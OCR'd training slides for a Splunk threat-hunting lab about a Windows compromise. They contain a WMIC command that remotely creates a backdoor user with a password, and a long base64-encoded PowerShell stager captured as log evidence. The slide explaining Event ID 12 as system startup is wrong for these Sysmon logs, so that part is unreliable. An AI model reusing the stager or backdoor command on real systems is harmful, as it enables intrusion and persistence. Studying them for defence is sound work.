



Investigating with Splunk

C3 Facilitators

Learning Objectives

- Able to investigate a Splunk notable
- Able to check the source, destination IP by using OSINT tools
- Able to use OSINT tools (CyberChef, Virus total, etc.)

What is Splunk

- **Founded in 2003**
- **Handles machine-generated data**
- **Widely used in Security Operations Centers (SOC)**
- **Platform for searching, monitoring, and analyzing machine data**
- **Turns data into actionable insights**

Default Paths (often used in enumeration and scanning):

Task 1 Investigating with Splunk

SOC Analyst **Johnny** has observed some **anomalous behaviours** in the logs of a few **windows machines**. It looks like the adversary has access to some of these machines and **successfully created some backdoor**. His manager has asked him to pull those **logs from suspected hosts and ingest them into Splunk** for quick investigation. Our task as SOC Analyst is to examine the logs and identify the anomalies.

To learn more about Splunk and how to investigate the logs, look at the rooms [splunk101](#) and [splunk201](#).

Room Machine

Before moving forward, deploy the machine. When you deploy the machine, it will be assigned an IP **Machine IP:** **10.201.88.141**. You can visit this IP from the [VPN](#) or the Attackbox. The machine will take up to 3-5 minutes to start. All the required logs are ingested in the index **main**.

Start Machine

Answer the questions below:

1. **Perform log analysis:** Use SIEM tools like Splunk or QRadar to detect unusual access times, failed login attempts, or unexpected user activity.

2. **Successfully created some backdoor**

Check for new user accounts: For example, in Windows; Event ID 4720 logs the creation of a new user.

3. **Suspected hosts**

Export and review all logs: Check login attempts, service start events, executed processes, etc.

4. **Logs and identify the anomalies**

Run detailed Splunk queries:

Example:

index=* EventID=4720 OR EventID=4625 OR EventID=4688

Select All time and Verbose mode

The image shows two side-by-side screenshots of the Splunk Enterprise Search interface, illustrating the process of selecting 'All time' and 'Verbose mode'.

Left Screenshot: The 'All time' dropdown menu is open, showing a list of time ranges. The 'All time (real-time)' option is highlighted. The interface also shows the 'Search History' section and the 'Table Views' section.

Right Screenshot: The 'Verbose Mode' dropdown menu is open, showing the 'Verbose Mode' option selected. The interface also shows the 'Search History' section and the 'Table Views' section.

Time Range Selection Table:

REAL-TIME	RELATIVE	OTHER
30 second window	Today	Last 15 minutes
1 minute window	Week to date	Last 60 minutes
5 minute window	Business week to date	Last 4 hours
30 minute window	Month to date	Last 24 hours
1 hour window	Year to date	Last 7 days
All time (real-time)	Yesterday	Last 30 days
	Previous week	
	Previous business week	
	Previous month	
	Previous year	

Verbose Mode Selection Table:

Fast Mode	Smart Mode	Verbose Mode
Field discovery off to event searches. No event or field data for stats searches.	Field discovery on to event searches. No event or field data for stats searches.	All event & field data.

0.271.88.141/en-US/app/search/search?earliest=0&latest=&display.page=search&mode=verbose#

Q1: How many events were collected and Ingested in the index main?

index=*

index=main

splunk>enterprise Apps ▾

Search Analytics Datasets Reports Alerts Dashboards

New Search

1 index=*

✓ 12,256 events (before 9/2/25 7:17:25.000 PM) No Event Sampling ▾

Events (12,256) Patterns Statistics Visualization

Format Timeline ▾ - Zoom Out + Zoom to Selection × Deselect

List ▾ ↗ Format 20 Per Page ▾

< Hide Fields All Fields

SELECTED FIELDS

- a host 1
- a source 1
- a sourcetype 1
- a User 4

INTERESTING FIELDS

- # @version 1
- a AccountName 4
- a AccountType 2
- a Application 22
- a Category 41
- a Channel 9
- a Domain 2
- # EventID 55

i	Time	Event
>	5/11/22 10:32:19.000 PM	{ [-] @version: 1 Category: Pipeline Execution Details Channel: Windows PowerShell EventID: 800 EventReceivedTime: 2022-02-14 08:06:49 EventTime: 2022-02-14 08:06:48 EventType: INFO ExecutionProcessID: 0 Hostname: James.browne Keywords: 36028797018963970 Message: Pipeline execution details for command line: Context Information: DetailSequence=1

<https://forums.kali.org>

Search Analytics Datasets Reports Alerts Dashboards

New Search

1 index=main

✓ 12,256 events (before 9/2/25 7:18:07.000 PM) No Event Sampling ▾

Events (12,256) Patterns Statistics Visualization

Format Timeline ▾ - Zoom Out + Zoom to Selection × Deselect

List ▾ ↗ Format 20 Per Page ▾

< Hide Fields All Fields

SELECTED FIELDS

- a host 1
- a source 1
- a sourcetype 1
- a User 4

INTERESTING FIELDS

- # @version 1
- a AccountName 4
- a AccountType 2
- a Application 22
- a Category 41
- a Channel 9
- a Domain 2
- # EventID 55
- a EventReceivedTime 60

i	Time	Event
>	5/11/22 10:32:19.000 PM	{ [-] @version: 1 Category: Pipeline Execution Details Channel: Windows PowerShell EventID: 800 EventReceivedTime: 2022-02-14 08:06:49 EventTime: 2022-02-14 08:06:48 EventType: INFO ExecutionProcessID: 0 Hostname: James.browne Keywords: 36028797018963970 Message: Pipeline execution details for command line: Context Information: DetailSequence=1

Q2: On one of the infected hosts, the adversary was successful in creating a backdoor user. What is the new username?

Search Analytics Datasets Reports Alerts Dashboards

New Search

1 index** EventID=4720

✓ 1 event (before 9/2/25 7:24:04.000 PM) No Event Sampling

Events (1) Patterns Statistics Visualization

Format Timeline Zoom Out Zoom to Selection Deselect

List Format 20 Per Page

< Hide Fields All Fields

SELECTED FIELDS

- a host 1
- a source 1
- a sourcetype 1

INTERESTING FIELDS

- # @version 1
- a AccountExpires 1
- a ActivityID 1
- a AllowedToDelegateTo 1
- a Category 1
- a Channel 1
- a DisplayName 1
- # EventID 1

Time Event

5/11/22 10:32:18.000 PM

@version: 1
AccountExpires: %%1794
ActivityID: {E0F78C1B-4488-0000-8D57-1F92808AD601}
AllowedToDelegateTo: -
Category: User Account Management
Channel: Security
DisplayName: %%1793
EventID: 4720
EventReceivedTime: 2022-02-14 08:06:03
EventTime: 2022-02-14 08:06:02
EventType: AUDIT_SUCCESS
ExecutionProcessID: 740
HomeDirectory: %%1793
HomePath: %%1793
Hostname: Micheal.Beaven
Keywords: -921436483760035000
LogonHours: %%1797
Message: A user account was created.

Subject:

Security ID: S-1-5-21-402093649-1037605423-417876593-1104
Account Name: James
Account Domain: Cybertees
Logon ID: 0x551686

New Account:

Security ID: S-1-5-21-1969843730-2406867588-1543852148-1000
Account Name: Alberto
Account Domain: WORKSTATION6

Attributes:

SAM Account Name: Alberto
Display Name: <value not set>

earliest=0&latest=&display.p...1&workload_pool=&sid=1756841044.71&display.prefs.fieldFilter=user#

APOGEE

We can use **Event ID 4720** to find out if a **new user account** was created.

But to understand what really happened, we also need to **check all the logs** and **know what each Event ID** stands for.

index="main" EventID=4720

New Account:

Security ID: S-1-5-21-1969843730-2406867588-1543852148-1000

Account Name: Alberto

Account Domain: WORKSTATION6

Q3: On the same host, a registry key was also updated regarding the new backdoor user. What is the full path of that registry key?

In Splunk, there are many sections listed under "All Fields", and it's important to know what each one includes. Since our question is about registry keys, we need to find out which section they belong to. In this case, registry keys are listed under the "Category" field. `index=* A1berto Category="Registry object added or deleted (rule: RegistryEvent)"`

The screenshot shows the Splunk search interface. The search bar contains the query `index=* A1berto`. Below the search bar, it indicates 14 events. The 'Events (14)' tab is selected. The 'All Fields' panel on the left shows a list of fields, with 'Category' highlighted. The 'Category' field details panel on the right shows 7 values. The 'Values' table lists the following categories and their counts:

Values	Count	%
Process Create (rule: ProcessCreate)	4	28.571%
Process Creation	3	21.428%
Registry object added or deleted (rule: RegistryEvent)	2	14.286%
User Account Management	2	14.286%
Executing Pipeline	1	7.143%
Pipeline Execution Details	1	7.143%
Registry value set (rule: RegistryEvent)	1	7.143%

Q3: On the same host, a registry key was also updated regarding the new backdoor user. What is the full path of that registry key?

➤ index=* A1berto Category="Registry object added or deleted (rule: RegistryEvent)"

Kali Linux

Kali Tools

Kali Docs

Kali Forums

Kali NetHunter

Exploit-DB

Google Hacking DB

OffSec

< Hide Fields

All Fields

List

Format

20 Per Page

a EventTime 1

a EventTypeOriginal 1

ExecutionProcessID 1

a extracted_EventType 2

a extracted_host 1

a Hostname 1

a Image 1

a Index 1

Keywords 1

linecount 1

a Message 2

a Opcode 1

OpcodeValue 1

port 1

a ProcessGuid 1

ProcessId 1

a ProviderGuid 1

a punct 1

RecordNumber 2

a RuleName 1

a Severity 1

SeverityValue 1

a SourceModuleName 1

a SourceModuleType 1

a SourceName 1

a splunk_server 1

a tags[] 1

a TargetObject 1

Task 1

ThreadID 1

a timestamp 3

a UserID 1

a UtcTime 1

Version 1

i

Time

Event

message: Registry object added or deleted.

RuleName: -

EventType: DeleteKey

UtcTime: 2022-02-14 12:06:02.420

ProcessGuid: {83d0c8c3-43ca-5f5f-0c00-00000000400}

ProcessId: 740

Image: C:\windows\system32\lsass.exe

TargetObject: HKLM\SAM\SAM\Domains\Account\Users\Names\A1berto

Opcode: Info

OpcodeValue: 0

ProcessGuid: {83d0c8c3-43ca-5f5f-0c00-00000000400}

ProcessId: 740

ProviderGuid: {5770385F-C22A-43E0-BF4C-06F5698FFBD9}

RecordNumber: 183218

RuleName: -

Severity: INFO

SeverityValue: 2

SourceModuleName: eventlog

SourceModuleType: im_msvistalog

SourceName: Microsoft-Windows-Sysmon

TargetObject: HKLM\SAM\SAM\Domains\Account\Users\Names\A1berto

Task: 12

ThreadID: 4532

UserID: S-1-5-18

UtcTime: 2022-02-14 12:06:02.420

Version: 2

host: cybertees.net

port: 60427

tags: [[+]

]

timestamp: 2022-02-14T12:06:03.897Z

}

Show as raw text

host = server | source = splunk_challenge1.json | sourcetype = event_logs

APOGEE

Q3: On the same host, a registry key was also updated regarding the new backdoor user. What is the full path of that registry key?

Second Way

➤ We know which device the new user was created on

The screenshot shows the Splunk Search interface. The search bar contains the query `index=* EventID=4720`. Below the search bar, it indicates **1 event** found. The interface is set to 'Events (1)' view. A green bar highlights the search results section. The results table has columns for Time and Event. The event details show a user account creation on host 1.

Time	Event
5/11/22 10:32:18.000 PM	<pre>{ [-] @version: 1 AccountExpires: %%1794 ActivityID: {E0F7BC1B-4488-0000-8D57-1F92808AD601} AllowedToDelegateTo: - Category: User Account Management Channel: Security DisplayName: %%1793 EventID: 4720 EventReceivedTime: 2022-02-14 08:06:03 EventTime: 2022-02-14 08:06:02 EventType: AUDIT_SUCCESS ExecutionProcessID: 740 HomeDirectory: %%1793 HomePath: %%1793 Hostname: Micheal.Beaven</pre>

SELECTED FIELDS
a host 1
a source 1
a sourcetype 1

INTERESTING FIELDS
@version 1
a AccountExpires 1
a ActivityID 1
a AllowedToDelegateTo 1
a Category 1
a Channel 1
a DisplayName 1
EventID 1
a EventReceivedTime 1
a EventTime 1

Q3: On the same host, a registry key was also updated regarding the new backdoor user. What is the full path of that registry key?

- EventID=12 A registry key object was created.
- index=* Hostname="Micheal.Beaven" EventID=12 A1berto

1 index=* Hostname="Micheal.Beaven" EventID=12 A1berto

2 events (before 9/2/25 7:43:03.000 PM) No Event Sampling

Events (2) Patterns Statistics Visualization

Format Timeline Zoom Out Zoom to Selection Deselect

Time	Event
5/11/22 10:32:18.000 PM	<pre>{ [-] @version: 1 AccountName: SYSTEM AccountType: User Category: Registry object added or deleted (rule: RegistryEvent) Channel: Microsoft-Windows-Sysmon/Operational Domain: NT AUTHORITY EventID: 12 EventReceivedTime: 2022-02-14 08:06:03 EventTime: 2022-02-14 08:06:02 EventType: DeleteKey EventTypeOriginal: INFO ExecutionProcessID: 3348 Hostname: Micheal.Beaven Image: C:\windows\system32\lsass.exe Keywords: -9223372036854776000 Message: Registry object added or deleted RuleName: - EventType: DeleteKey UtcTime: 2022-02-14 12:06:02.420 ProcessGuid: {83d0c8c3-43ca-5f5f-0c00-000000000400} ProcessId: 740</pre>

APOGEE

EventID=12

Filters for Windows Event ID 12.

In Windows **System** logs, Event ID 12 usually means **System has started** (e.g., kernel-general → "The operating system

started at system time ...").

In other sources, Event ID 12 might have a different meaning, but most likely this is a boot/startup log.

A1berto

This is just a **keyword search** in the event data. Splunk will look for the string A1berto anywhere in the raw event.

This could be:

A username

A process name

Or even part of a script/command that ran

Search all indexes for events where the host is *Micheal.Beaven*, the Event ID is *12*, and the event text contains the keyword *A1berto*."

What other ways do we try to find Registry keys? 1-) index=* user> hostname>category 2-) dashboard, Report 3-)

There are two ways to open Registry Editor in Windows 10: a- In the search box on the taskbar, type regedit, then select Registry Editor (Desktop app) from the results. b- Right-click Start , then select Run. Type regedit in the Open: box, and then select OK. 4-)Autopsy 5-) Process Hacker

Q4: Examine the logs and identify the user that the adversary was trying to impersonate.



Did you notice that the attacker changed a letter in the 'User' section of the Field Pane?

New Search

1 index=*

✓ 12,256 events (before 9/2/25 7:55:13,000 PM) No Event Sampling ▼

Events (12,256) Patterns Statistics Visualization

Format Timeline ▼ — Zoom Out + Zoom to Selection × Deselect

< Hide Fields All Fields

SELECTED FIELDS

- a host 1
- a source 1
- a sourcetype 1
- a User 4

INTERESTING FIELDS

- # @version 1
- a AccountName 4
- a AccountType 2
- a Application 22
- a Category 41
- a Channel 9
- a Domain 2
- # EventID 55
- a EventReceivedTime 60

User

4 Values, 0.971% of events

Selected Yes No

Reports

- Top values
- Top values by time
- Rare values
- Events with this field

Values

	Count	%
NT AUTHORITY\SYSTEM	70	58.824%
Cybertees\Alberto	24	20.168%
NT AUTHORITY\NETWORK SERVICE	20	16.807%
Cybertees\James	5	4.202%

Context Information:
DetailSequence=1

APOGEE

What is “impersonate”?

The adversary **already** has their own account or low-level access, but they want to look like someone else.

They attempt to **use the identity of another user** — usually a privileged one like **Administrator**, **SYSTEM**, or a domain

admin account.

In the logs, this often shows up as:

Failed logon attempts with another username (Event ID 4625).

Logon attempts with tokens or special logon types (Event ID 4624 with Logon Type 9 → impersonation).

Process execution under another account's context.

Example

Logs show multiple failed logons with Administrator from an attacker's host.

Or, a service account suddenly spawning a process under a domain admin's token.

In both cases → the adversary is **trying to impersonate that other user**.

impersonate means the attacker was trying to pretend to be another valid user account — by logging in or running processes as that account — to gain higher privileges or access.

In the User section there is a user it is Alberto but after attacker create another user it is A1berto instead of the attacker used to number 1

Q5: What is the command used to add a backdoor user from a remote computer?

- EventID=4688 → A new process has been created.
- index=* EventID=4688

The screenshot shows the Splunk Enterprise interface. The search bar contains the query `index=* EventID=4688`, which has returned 25 events. The left sidebar shows the 'New Search' section with the search query and a list of fields. The main panel displays a report for the 'CommandLine' field, showing the top 10 values and their counts.

Search Query: `index=* EventID=4688`

Results: 25 events (before 9/2/25 8:18:36.000 PM)

Fields: host 1, source 1, sourcetype 1

Field Extractor Report: CommandLine

Top 10 Values	Count	%
"BackgroundTransferHost.exe"	4	16%
-ServerName:BackgroundTransferHost.1		
"C:\windows\system32\backgroundTaskHost.exe"	2	8%
-ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbx6dmzz1zh0.mca		
C:\windows\system32\wbem\wmiprvse.exe -secured	2	8%
-Embedding		
\\??\C:\windows\system32\conhost.exe 0xffffffff	2	8%
-ForceV1		
"C:\windows\System32\Wbem\WMIC.exe"	1	4%
/node:WORKSTATION6 process call create "net user /add Alberto paw0rd1"		
C:\Windows\System32\RuntimeBroker.exe -Embedding	1	4%
C:\Windows\System32\usocoreworker.exe -Embedding	1	4%
C:\windows\System32\svchost.exe -k NetSvc -p -s NcaSvc	1	4%
C:\windows\System32\svchost.exe -k NetworkService -p -s DoSvc	1	4%
C:\windows\system32\RAServer.exe /offerraupdate	1	4%

To identify the command executed by the attacker to create a backdoor user, we can filter for Event ID 4688, which logs process creation events. Event ID 4688: A new process has been created.

From a remote host, the attacker uses **WMIC** to run a process on WORKSTATION6 that creates a **new local user account** called A1berto with the password paw0rd1.

WMIC → Windows Management Instrumentation Command-line.

This is commonly seen in **lateral movement** or **persistence**:

Attacker compromises one system.

Uses WMIC to **execute commands remotely** on another system.

Creates a backdoor account (A1berto) for persistence or privilege escalation.

Event ID

Security Event IDs of Interest

[youtube.com/13cubed](https://www.youtube.com/13cubed)



Event ID	Description
4624	An account was successfully logged on. (See Logon Type Codes)
4625	An account failed to log on.
4634	An account was logged off.
4647	User initiated logoff. (In place of 4634 for Interactive and RemoteInteractive logons)
4648	A logon was attempted using explicit credentials. (RunAs)
4672	Special privileges assigned to new logon. (Admin login)
4776	The domain controller attempted to validate the credentials for an account. (DC)
4768	A Kerberos authentication ticket (TGT) was requested.
4769	A Kerberos service ticket was requested.
4771	Kerberos pre-authentication failed.
4720	A user account was created.
4722	A user account was enabled.
4688	A new process has been created. (If audited; some Windows processes logged by default)
4698	A scheduled task was created. (If audited)
4798	A user's local group membership was enumerated.
4799	A security-enabled local group membership was enumerated.
5140	A network share object was accessed.
5145	A network share object was checked to see whether client can be granted desired access.
1102	The audit log was cleared. (Security)

Q6: How many times was the login attempt from the backdoor user observed during the investigation?

- Let's search for events related to the attacker's new user account (A1berto) and see if there are any login attempts.
- index=* A1berto
 - Check Category and EventID if can see any login attempt?

The screenshot displays the Splunk search interface for the query `index=* A1berto`. The search results show 14 events. The 'Events (14)' tab is active, displaying a list of events. The 'Category' field is selected, showing 7 values. The 'EventID' field is also selected, showing 8 values. The 'Category' field is highlighted in the 'SELECTED FIELDS' list, and the 'EventID' field is highlighted in the 'INTERESTING FIELDS' list.

Category

7 Values, 100% of events

Selected Yes No

Reports

Top values Top values by time Rare values

Events with this field

Values	Count	%
Process Create (rule: ProcessCreate)	4	28.571%
Process Creation	3	21.428%
Registry object added or deleted (rule: RegistryEvent)	2	14.286%
User Account Management	2	14.286%
Executing Pipeline	1	7.143%
Pipeline Execution Details	1	7.143%
Registry value set (rule: RegistryEvent)	1	7.143%

EventID

8 Values, 100% of events

Selected Yes No

Reports

Average over time Maximum value over time Minimum value over time

Top values Top values by time Rare values

Events with this field

Avg: 2032.4285714285713 Min: 1 Max: 4726 Std Dev: 2323.6220967170307

Values	Count	%
1	4	28.571%
4688	3	21.428%
12	2	14.286%
13	1	7.143%
4103	1	7.143%
4720	1	7.143%
4726	1	7.143%
800	1	7.143%

Q7: What is the name of the infected host on which suspicious PowerShell commands were executed?

➤ When searching for the device running PowerShell commands, we find only one device in the 'Hostname' field.

➤ index=* CommandLine="\"C:\\windows\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbx6dmzz1zh0.mca"

The screenshot shows the Microsoft Defender for Endpoint search interface. The search query is `index=* CommandLine="\"C:\\windows\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbx6dmzz1zh0.mca"`. The results show 4 events. The first event is expanded, showing details for a process creation event on 5/11/22 at 10:32:19.000 PM. The event details include: @version: 1, Category: Process Creation, Channel: Security, CommandLine: \"C:\\windows\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbx6dmzz1zh0.mca, EventID: 4688, EventReceivedTime: 2022-02-14 08:06:32, EventType: AUDIT_SUCCESS, ExecutionProcessID: 4, Hostname: James.browne, Keywords: -9214364837600035000, MandatoryLabel: S-1-16-4096, and Message: A new process has been created.

A 'Hostname' field summary is displayed, showing 1 value (100% of events) for 'James.browne'. The summary includes a table of values:

Values	Count	%
James.browne	4	100%

10.201.88.141/en-US/app/search/search?earliest=0&latest=

Q7: What is the name of the infected host on which suspicious PowerShell commands were executed?

SearchAnalyticsDatasetsReportsAlertsDashboards

New Search

1index=* CommandLine="\"C:\\windows\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbx6dmzz1zh0.mca"

✓ 4 events (before 9/2/25 8:41:12.000 PM) No Event Sampling ▼

Events (4)PatternsStatisticsVisualization

Format Timeline ▼ — Zoom Out + Zoom to Selection × Deselect

< Hide FieldsAll Fields

SELECTED FIELDS

a host 1

a Hostname 1

a source 1

a sourcetype 1

a User 1

INTERESTING FIELDS

@version 1

a AccountName 1

a AccountType 1

a Category 2

a Channel 2

a CommandLine 1

a Company 1

Hostname

1 Value, 100% of events

SelectedYesNo

Reports

Top valuesTop values by timeRare values

Events with this field

Values	Count	%
James.browne	4	100%

ExecutionProcessID: 4

Hostname: James.browne

Keywords: -9214364837600035000

MandatoryLabel: S-1-16-4096

Message: A new process has been created.

10.201.88.141/en-US/app/search/search?earliest=0&latest=&display.page.search.mode=verbose&q=search index=* CommandLine="\"C:\\windows\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbx6dmzz1zh0.mca" &filter=&sid=1756845672.132&display.events.fields=["host","source"]

Q8: PowerShell logging is enabled on this device. How many events were logged for the malicious PowerShell execution?

➤ For this question, we need to know the PowerShell Event ID. The Event ID for PowerShell execution is **4103**

➤ Event ID 4103: Logs PowerShell script execution.

➤ Event ID 4104: Logs script block execution details, which can be more useful for tracking specific commands run within a script.

index=* EventID=4103

1 **index=* EventID=4103**

✓ 79 events (before 9/2/25 8:52:03.000 PM) No Event Sampling ▼

Events (79) Patterns Statistics Visualization

Format Timeline ▼ - Zoom Out + Zoom to Selection X Deselect

List ▼ Format 20 Per Page ▼

< Hide Fields All Fields

SELECTED FIELDS

- a host 1
- a Hostname 1
- a source 1
- a sourcetype 1

INTERESTING FIELDS

- # @version 1
- a AccountName 1
- a AccountType 1
- a ActivityID 79
- a Category 1
- a Channel 1
- a ContextInfo 79
- a Domain 1
- a ERROR_EVT_UNRESOLVED 1
- # EventID 1
- a EventReceivedTime 27
- a EventTime 14
- # ExecutionProcessID 1

Time: 5/11/22 10:32:19.000 PM

Event: { [-] @version: 1 AccountName: James AccountType: User ActivityID: {4F259F18-BCE1-0000-7D1A-7593808AD601} Category: Executing Pipeline }

EventID

1 Value, 100% of events

Selected Yes No

Reports

- Average over time
- Maximum value over time
- Minimum value over time
- Top values
- Top values by time
- Rare values

Events with this field

Avg: 4103 Min: 4103 Max: 4103 Std Dev: 0

Values	Count	%
4103	79	100%

11\vi.0\powershell.exe -noP -sta -w 1 - IAUwBJAE8ATgAuAE0AYQBKAE8AUgAgAC0ARwB1A

Q9: An encoded PowerShell script from the infected host initiated a web request. What is the full URL?

First find the Encoded PowerShell script in Splunk

The screenshot shows a Splunk search interface with the query `index=* EventID=4103`. The search results show 79 events. The event details for EventID 4103 are displayed, showing a PowerShell script execution. The script is encoded and contains a long URL that is the answer to the question.

Search Query: `index=* EventID=4103`

Results: 79 events (before 9/2/25 8:52:03.000 PM) No Event Sampling

Event Details:

- Event: `[-]`
- @version: 1
- AccountName: James
- AccountType: User
- ActivityID: {4F259F18-BCE1-0000-7D1A-7593808AD601}
- Category: Executing Pipeline
- Channel: Microsoft-Windows-PowerShell/Operational
- ContextInfo: Severity = Informational
- Host Name = ConsoleHost
- Host Version = 5.1.18362.752
- Host ID = 0f79c464-4587-4a42-a825-a0972e939164
- Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noP -sta -w 1 -enc
- Engine Version = 5.1.18362.752
- Runspace ID = a6093660-16a6-4a60-ae6b-7e603f030b6f
- Pipeline ID = 1
- Command Name = New-Object
- Command Type = Cmdlet
- Script Name =
- Command Path =

The full URL is: `SQBGAZAJABQAFMAVgBIAHIAUwBJAG8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBJAE8ATgAUAE0AYQBKA8AUgAgAC0ARwB1ACAAMwApAHsAJAAxADEAQgBEADgAPQB8AHIAZQ8GAF0ALgBBAFMACwB1AE0AYgBsAHKALgBHAGUAdABUAHKAUABFACgAJwBTAHKAcwB0AGUAbQAUAE0AYQB0AGEAZwB1AG`

SQBGACgJABQBQAFMAVgBIAHIAUwBJAG8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBJAE8ATgAuAE0AYQBKAe8AUgAgAC0ARwBIACAAMwApAHsAJAAXADEAQgBEADgAPQB
 bAHIAZQBGAFOALgBBAFMAcwbIAE0AYgBsAHkALgBHAGUAdABUAHkAUABFACgAJwBTAHkAcwB0AGUAbQAUAE0AYQBUAGEAZwBIAG0AZQBuaHQALgBBAHUAdABvAG0AYQB0AG
 kAbwBuAC4AVQB0AGkAbABZACcAKQAuACIARwBFAFQARgBJAGUAYABsAGQAlgAoACcAYwBhAGMAaABIAQGQARwByAG8AdQBwAFAAbwBsAGkAYwB5AFMAZQB0AHQAaQBuaGc
 AcwAnACwAJwBOACcAKwAnAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQA7AEkARgAoACQAMQAxAEIAZAA4ACkAewAkAEEAMQA4AEUAMQA9ACQAMQAxAEI
 ARAA4AC4ARwBIAHQAVgBhAEwAVQBFACgAJABuAFUAbABMACkAOwBJAGYAKAAkAEEAMQA4AGUAMQBbACCuUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGc
 AaQBuaGcAJwBdACKAewAkAEEAMQA4AGUAMQBbACCuUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuaGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMA
 cgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwAdSjABhADEAOABIADeAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAaawBMAG8AZ
 wBnAGkAbgBnACcAXQBbACCARQBuaGEAYgBsAGUaUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnAF0APQAwAH0AJAB
 2AEEATAA9AFsAQwBvAEwAbABlAGMAdABpAE8ATgBTAC4ARwBIAE4ARQByAGkAQwAuAEQASQBjAFQAaQBPAQ4AQQBBSAFkAWwBTAHQAcgBJAE4ARwAsAFMAeQBzAFQARQBtA
 C4ATwBCAEoARQBjAHQAXQBdADoAOgBuAGUAVwAoACkAOwAkAHYAQQBMAC4AQQBKAeQAkAAAnAEUAbgBhAGIAbABIAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAaawBMA
 G8AZwBnAGkAbgBnACcALAAwACKAOwAkAFYAQQBMAC4AQQBKAQAKAAAnAEUAbgBhAGIAbABIAFMAYwByAGkAcAB0AEIAbABvAGMAaawBJAG4AdgBvAGMAYQB0AGkAbwBuAE
 wAbwBnAGcAaQBuaGcAJwAsADAACKQA7ACQAYQAxADgAZQAxAFsAJwBIAEsARQBZAF8ATABPAEMAQQBMaf8ATQBBAEMASABJAE4ARQBcAFMAbwBmAHQAdwBhAHIAZQBcAFA
 AbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFAAbwB3AGUAcgBTAGgAZQBsAGwAXABTAGMAcgBpAHAAdABCACcAKwAnAGwA
 bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAKAFYAQQBsAH0ARQBMAHMARQB7AFsAUwBjAFIAaQBwAFQAQgBsAE8AQwBLAF0ALgAiAEcAZQBUAeYASQBFAGAATABkACIAKAA
 nAHMAaQBnAG4AYQB0AHUAcgBIAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAdABWAEeAbABVAGUAKAAkAE4AdQBM
 AEwALAAoAE4ARQB3AC0ATwBCAGoAZQBDAHQAIABDAG8ATABMAEUAYwBUAGkATwBOAFMALgBHAGUATgBIAHIASQBjAC4ASABBAHMASABTAGUAdABbAFMAVABYAgkAbgBn
 AF0AKQApAH0AJABSAGUARgA9AFsAUgBLAGYAXQAuAEEAcwBTAEUATQBCAGwAeQAuAEcAZQBUAfQAeQBQAGUAKAAAnAFMAeQBzAHQAQZQBtAC4ATQBhAG4AYQBnAGUAbQBIA
 G4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBFAHQARgBJAGUATABkACgAJwBhAG0AcwBpAE
 kAbgBpAHQARgAnACsAJwBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAdABWAEeATAB1AGUAKAAkAE4AVQBMAGw
 ALAAkAHQAUGBVAGUAKQA7AH0AOwBbAFMAWQBTAHQARQBtAC4ATgBIAFQALgBTAGUAcgB2AEkAQwBIAFAAbwBJAE4AdABNAEEAbgBBAGcARQBSAF0AOgA6AEUAWABwAGU
 AQwBUADEEMAaAwAEMAbwBuAHQASQBOAHUAZQA9ADAAOwAkADcAYQA2AGUARAa9AE4AZQBxAC0ATwBCAEoAZQBDAFQAIABTAfKAcwB0AGUATQAuAE4AZQB0AC4AVwBFA
 GIAQwBsAEkAZQB0AFQAOWAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAGADYALgAxAdSAIABXAe8AVwA2ADQAOWAgAF
 QAcgBpAGQAZQBuaHQALwA3AC4AMAA7ACAACgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgaEcAZQBjAGsAbwAnAdSjABzAGUAcgA9ACQAKABbAFQAZQBjAFQALgBFAE4
 AQwBvAGQAaQB0AEcAXQA6ADoAVQBuaGkAYwBvAGQARQAuAEcAZQB0AFMAdABYAgkATgBHACgAWwBDAG8ATgBWAGUaUgBUAF0AOgA6AEYAcgBvAE0AQgBBAFMAZQA2A
 DQAUwB0AFIASQBuaEcAKAAAnAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAAQQBBAAEWAZwBBAHGAQQBEAEEAQQBMAgCAQQB4AEEARABB
 AEEATABnAEEAMQBBAEEAPQA9ACcAKQApACKAOwAkAHQAPQAnAC8AbgBIAHcAcwAuAHAAaABwACcAOwAkADcAQQA2AEUAZAAuAEgARQBBAQZQZByAHMALgBBAGQAZAAO
 ACcAVQBzAGUAcgAtAEEAZwBIAG4AdAAnACwAJAB1ACKAOwAkADcAYQA2AEUAZAAuAFAAUgBPAHgAWQA9AFsAUwB5AFMAVABFAG0ALgBOAEUAVAuAFcAZQBIAFIARQBRAFU
